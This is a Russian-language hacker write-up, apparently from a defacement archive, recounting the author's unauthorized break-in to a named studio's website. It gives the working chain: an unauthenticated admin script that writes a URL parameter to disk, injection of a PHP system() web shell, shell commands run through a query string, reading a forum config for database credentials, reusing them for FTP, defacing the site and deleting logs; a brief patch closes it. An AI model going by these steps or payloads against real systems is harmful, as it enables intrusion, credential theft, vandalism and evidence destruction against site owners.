##########################################
#!/usr/share/doc/defaced/1/cases/poles.txt
##########################################

Как был взломан www.polestudio.ru  [ by OverG ] 
---------------------------------

Зеркало: http://taxidermia.void.ru/mirrors/2003/03/29/www.polestudio.ru/

Зашел  я  однажды на сайт e.polestudio.ru, полазил на нем, ничего интересного не
нашел. Но тут я заметил что-то знакомое в линке, указывающем на архив новостей.
Точно,  это же скрипт под названием "Новости", который я недавно скачал, и в нем
есть одна довольно глупая уязвимость (да простят меня создатели скрипта :) ).

Админская  панель  состоит  из  2  основных  файлов  (config.php содержит только
настройки)  -  index.php  и  script.php. index.php требует авторизацию, если это
можно назвать авторизацией :)
Скрипт  сравнивает пароль, переданный в параметре pass с паролем в конфиге, если
пароли не совпали, то возвращает пустую страницу, если совпали - сам знаешь че :)

Пройдя  её,  мы  вводим  текст  новости,  который  передаётся  файлу  script.php
параметром  data. Самое главное - в файле script.php никакой авторизацией даже и
не  пахнет :) Этот скрипт записывает данные, переданные в параметре data в файл,
названием   которого   является   текущая   дата.   Я   вот   и   решил  открыть
http://e.polestudio.ru/mywindows/admin/script.php?data=Hello!

Надпись    Hello!    довольно    мелко    отразилась    в    середине   страницы
/mywindows/index.php.  Все!  можно  было  довольно  красиво  отдефейсить. Но мне
хотелось большего :)

И  тут мне пришла идея, а что если вписать вместо текста новости <? system($cmd)
?> , тогда, при удачном раскладе, можно будет выполнять любые команды.
Пробую - /mywindows/admin/script.php?data=<? system($cmd) ?>
Затем открываю /mywindows/index.php?cmd=id;uname -a;
Команда выполнилась и в середине страницы /mywindows/index.php я увидел:

uid=1296(pole) gid=65533 groups=65533
FreeBSD  v6.valuehost.ru  4.4-STABLE  FreeBSD 4.4-STABLE #2: Wed Jan 15 21:44:48
MSK 2003

Права  на  дефейс  есть. Конечно можно было бы написать index.php?cmd=echo Здесь
был Вася > ../index.html но хотелось чтобы это было красиво.
Жаль,  что  ФриБСД.., командой wget не воспользуешься, картинку прямо так залить
не получится. Просмотр конфига новостей - /mywindows/admin/config.php мне ничего
не  дал,  там  был  пароль  на админку, но новость я мог добавить и сам. Никаких
htpasswd'ов  я  не  нашел, но полазив немного по дирам (ls ../) на этом сайте, я
нашел форум, глянул файл конфига
cat ../eforum/config.php;
Там оказался логин и пароль от MySQL. К мою счастью этот пароль совпал с паролем
от FTP. Осталось залить дефейс и удалить логи.

Патч.
Добавьте в файл index.php строку:
<input type=hidden name=pass value=<?=$pass?>> перед </form>

А в файл script.php добавьте после строки include("config.php");
if (!isset($pass)) exit;
$q=strcmp($pass,$password);